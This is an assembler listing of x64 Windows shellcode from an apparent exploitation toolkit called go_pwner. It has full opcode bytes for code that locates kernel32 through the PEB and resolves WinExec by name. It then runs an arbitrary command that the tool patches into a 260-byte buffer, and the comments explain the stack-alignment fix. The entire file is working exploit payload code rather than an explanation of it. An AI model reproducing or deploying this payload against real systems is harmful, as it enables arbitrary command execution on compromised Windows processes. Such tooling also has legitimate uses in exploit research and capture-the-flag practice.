Files
go_pwner/shellcode/asm/winexec_x64.lst
T
2026-07-18 21:37:15 +03:00

156 lines
11 KiB
Plaintext

1 ; winexec_x64.asm — position-independent x64 shellcode: resolve kernel32's
2 ; base via the PEB (no leak/hardcoded address needed), find WinExec by
3 ; name, and run a command. Returns normally (ret) so the host thread keeps
4 ; running afterward.
5 ;
6 ; cmd_buf is a 260-byte placeholder at the very end of the assembled blob;
7 ; winpwn patches it at runtime with the actual NUL-terminated command
8 ; (see shellcraft.go).
9 BITS 64
10 default rel
11
12 start:
13 ; Preserve the caller's rbp/r12 (both non-volatile per the Windows x64
14 ; ABI) and stash the post-push rsp in rbp so we can force 16-byte
15 ; alignment below and still land exactly back on the real return
16 ; address afterward. A bare `and rsp, ~0xF` with no matching restore
17 ; before `ret` pops whatever garbage is sitting at the shifted address
18 ; instead of the caller's actual return address — that's the bug this
19 ; replaced (verified by crash: rip ended up pointing into the Go
20 ; runtime's heap, i.e. exactly the kind of stale stack value this leaves
21 ; behind).
22 00000000 55 push rbp
23 00000001 4154 push r12
24 00000003 4889E5 mov rbp, rsp
25 00000006 4883E4F0 and rsp, ~0xF ; force 16-byte stack alignment, unknown entry state
26
27 0000000A E82F000000 call get_kernel32_base
28 0000000F 4989C4 mov r12, rax ; r12 = kernel32 base
29
30 00000012 4C89E1 mov rcx, r12
31 00000015 488D15C7000000 lea rdx, [rel name_winexec]
32 0000001C E839000000 call find_export
33 ; rax = WinExec address
34
35 00000021 488D0DC8000000 lea rcx, [rel cmd_buf]
36 00000028 BA05000000 mov edx, 5 ; SW_SHOW
37 0000002D 4883EC20 sub rsp, 0x20 ; shadow space required before any WinAPI call
38 00000031 FFD0 call rax
39 00000033 4883C420 add rsp, 0x20
40
41 00000037 4889EC mov rsp, rbp
42 0000003A 415C pop r12
43 0000003C 5D pop rbp
44 0000003D C3 ret
45
46 %include "resolver.inc"
1 <1> ; resolver.inc — shared x64 position-independent building blocks for winpwn
2 <1> ; shellcraft templates: find kernel32's base via the PEB (no hardcoded
3 <1> ; addresses) and resolve any export by name (no hashing, just a linear
4 <1> ; name-table scan — simple, auditable, and plenty fast for a handful of
5 <1> ; one-shot resolutions).
6 <1> ;
7 <1> ; Calling convention (our own, not WinAPI): standard x64 fastcall-ish,
8 <1> ; args in RCX/RDX, result in RAX. Both routines preserve every
9 <1> ; non-volatile register they touch, so callers can keep values live in
10 <1> ; r12-r15 across calls to either of these.
11 <1>
12 <1> ; get_kernel32_base() -> RAX = kernel32.dll base address
13 <1> ;
14 <1> ; Walks PEB->Ldr->InMemoryOrderModuleList. Entry 0 is always the running
15 <1> ; executable itself, entry 1 is ntdll.dll, entry 2 is kernel32.dll — this
16 <1> ; fixed load order is the same trick essentially every public Windows x64
17 <1> ; shellcode relies on.
18 <1> get_kernel32_base:
19 0000003E 65488B042560000000 <1> mov rax, [gs:0x60] ; TEB->ProcessEnvironmentBlock (gs:0x60 on x64)
20 00000047 488B4018 <1> mov rax, [rax+0x18] ; PEB->Ldr
21 0000004B 488B4020 <1> mov rax, [rax+0x20] ; Ldr->InMemoryOrderModuleList.Flink -> entry0.InMemoryOrderLinks
22 0000004F 488B00 <1> mov rax, [rax] ; entry0.Flink -> entry1 (ntdll.dll)
23 00000052 488B00 <1> mov rax, [rax] ; entry1.Flink -> entry2 (kernel32.dll)
24 00000055 488B4020 <1> mov rax, [rax+0x20] ; entry2.DllBase (DllBase sits 0x20 past InMemoryOrderLinks)
25 00000059 C3 <1> ret
26 <1>
27 <1> ; find_export(RCX = module base, RDX = pointer to NUL-terminated ASCII name)
28 <1> ; -> RAX = absolute address of the export, or 0 if not found.
29 <1> ;
30 <1> ; Walks IMAGE_EXPORT_DIRECTORY.AddressOfNames linearly comparing each
31 <1> ; entry against the target string, then follows AddressOfNameOrdinals and
32 <1> ; AddressOfFunctions to the RVA. NT_HEADER+0x88 is the canonical
33 <1> ; DataDirectory[0] (export table) offset for PE32+.
34 <1> find_export:
35 0000005A 4154 <1> push r12
36 0000005C 4155 <1> push r13
37 0000005E 4156 <1> push r14
38 00000060 4157 <1> push r15
39 00000062 56 <1> push rsi
40 00000063 57 <1> push rdi
41 00000064 53 <1> push rbx
42 <1>
43 00000065 4989CC <1> mov r12, rcx ; r12 = module base (preserved for the whole routine)
44 00000068 4989D5 <1> mov r13, rdx ; r13 = target name pointer (preserved)
45 <1>
46 0000006B 418B44243C <1> mov eax, [r12+0x3C] ; e_lfanew
47 00000070 4C01E0 <1> add rax, r12 ; rax = NT header VA
48 00000073 8B8088000000 <1> mov eax, [rax+0x88] ; export dir RVA (OptionalHeader64.DataDirectory[0].VirtualAddress)
49 00000079 4C01E0 <1> add rax, r12
50 0000007C 4989C6 <1> mov r14, rax ; r14 = export directory VA
51 <1>
52 0000007F 418B5E18 <1> mov ebx, [r14+0x18] ; ebx = NumberOfNames
53 00000083 458B4E20 <1> mov r9d, [r14+0x20] ; AddressOfNames RVA
54 00000087 4D01E1 <1> add r9, r12 ; r9 = AddressOfNames VA (array of DWORD RVAs -> name strings)
55 0000008A 458B5624 <1> mov r10d, [r14+0x24] ; AddressOfNameOrdinals RVA
56 0000008E 4D01E2 <1> add r10, r12 ; r10 = AddressOfNameOrdinals VA (array of WORD ordinals)
57 00000091 458B5E1C <1> mov r11d, [r14+0x1C] ; AddressOfFunctions RVA
58 00000095 4D01E3 <1> add r11, r12 ; r11 = AddressOfFunctions VA (array of DWORD RVAs -> code)
59 <1>
60 00000098 4D31FF <1> xor r15, r15 ; r15 = loop index i
61 <1>
62 <1> .loop:
63 0000009B 4939DF <1> cmp r15, rbx
64 0000009E 7D34 <1> jge .notfound
65 <1>
66 000000A0 438B04B9 <1> mov eax, [r9 + r15*4] ; nameRVA for entry i
67 000000A4 4C01E0 <1> add rax, r12
68 000000A7 4889C6 <1> mov rsi, rax ; rsi = candidate name VA
69 000000AA 4C89EF <1> mov rdi, r13 ; rdi = target name VA (reset every attempt)
70 <1>
71 <1> .cmp_loop:
72 000000AD 8A06 <1> mov al, [rsi]
73 000000AF 8A0F <1> mov cl, [rdi]
74 000000B1 38C8 <1> cmp al, cl
75 000000B3 750C <1> jne .next
76 000000B5 84C0 <1> test al, al
77 000000B7 740D <1> je .found ; both hit NUL with every byte equal -> match
78 000000B9 48FFC6 <1> inc rsi
79 000000BC 48FFC7 <1> inc rdi
80 000000BF EBEC <1> jmp .cmp_loop
81 <1>
82 <1> .next:
83 000000C1 49FFC7 <1> inc r15
84 000000C4 EBD5 <1> jmp .loop
85 <1>
86 <1> .found:
87 000000C6 4B0FB7047A <1> movzx rax, word [r10 + r15*2] ; ordinal index for entry i
88 000000CB 418B0483 <1> mov eax, [r11 + rax*4] ; function RVA
89 000000CF 4C01E0 <1> add rax, r12 ; absolute address
90 000000D2 EB03 <1> jmp .done
91 <1>
92 <1> .notfound:
93 000000D4 4831C0 <1> xor rax, rax
94 <1>
95 <1> .done:
96 000000D7 5B <1> pop rbx
97 000000D8 5F <1> pop rdi
98 000000D9 5E <1> pop rsi
99 000000DA 415F <1> pop r15
100 000000DC 415E <1> pop r14
101 000000DE 415D <1> pop r13
102 000000E0 415C <1> pop r12
103 000000E2 C3 <1> ret
47
48 000000E3 57696E4578656300 name_winexec: db "WinExec", 0
49
50 000000EB 90<rep 5h> align 8
51 cmd_buf:
52 000000F0 00<rep 104h> times 260 db 0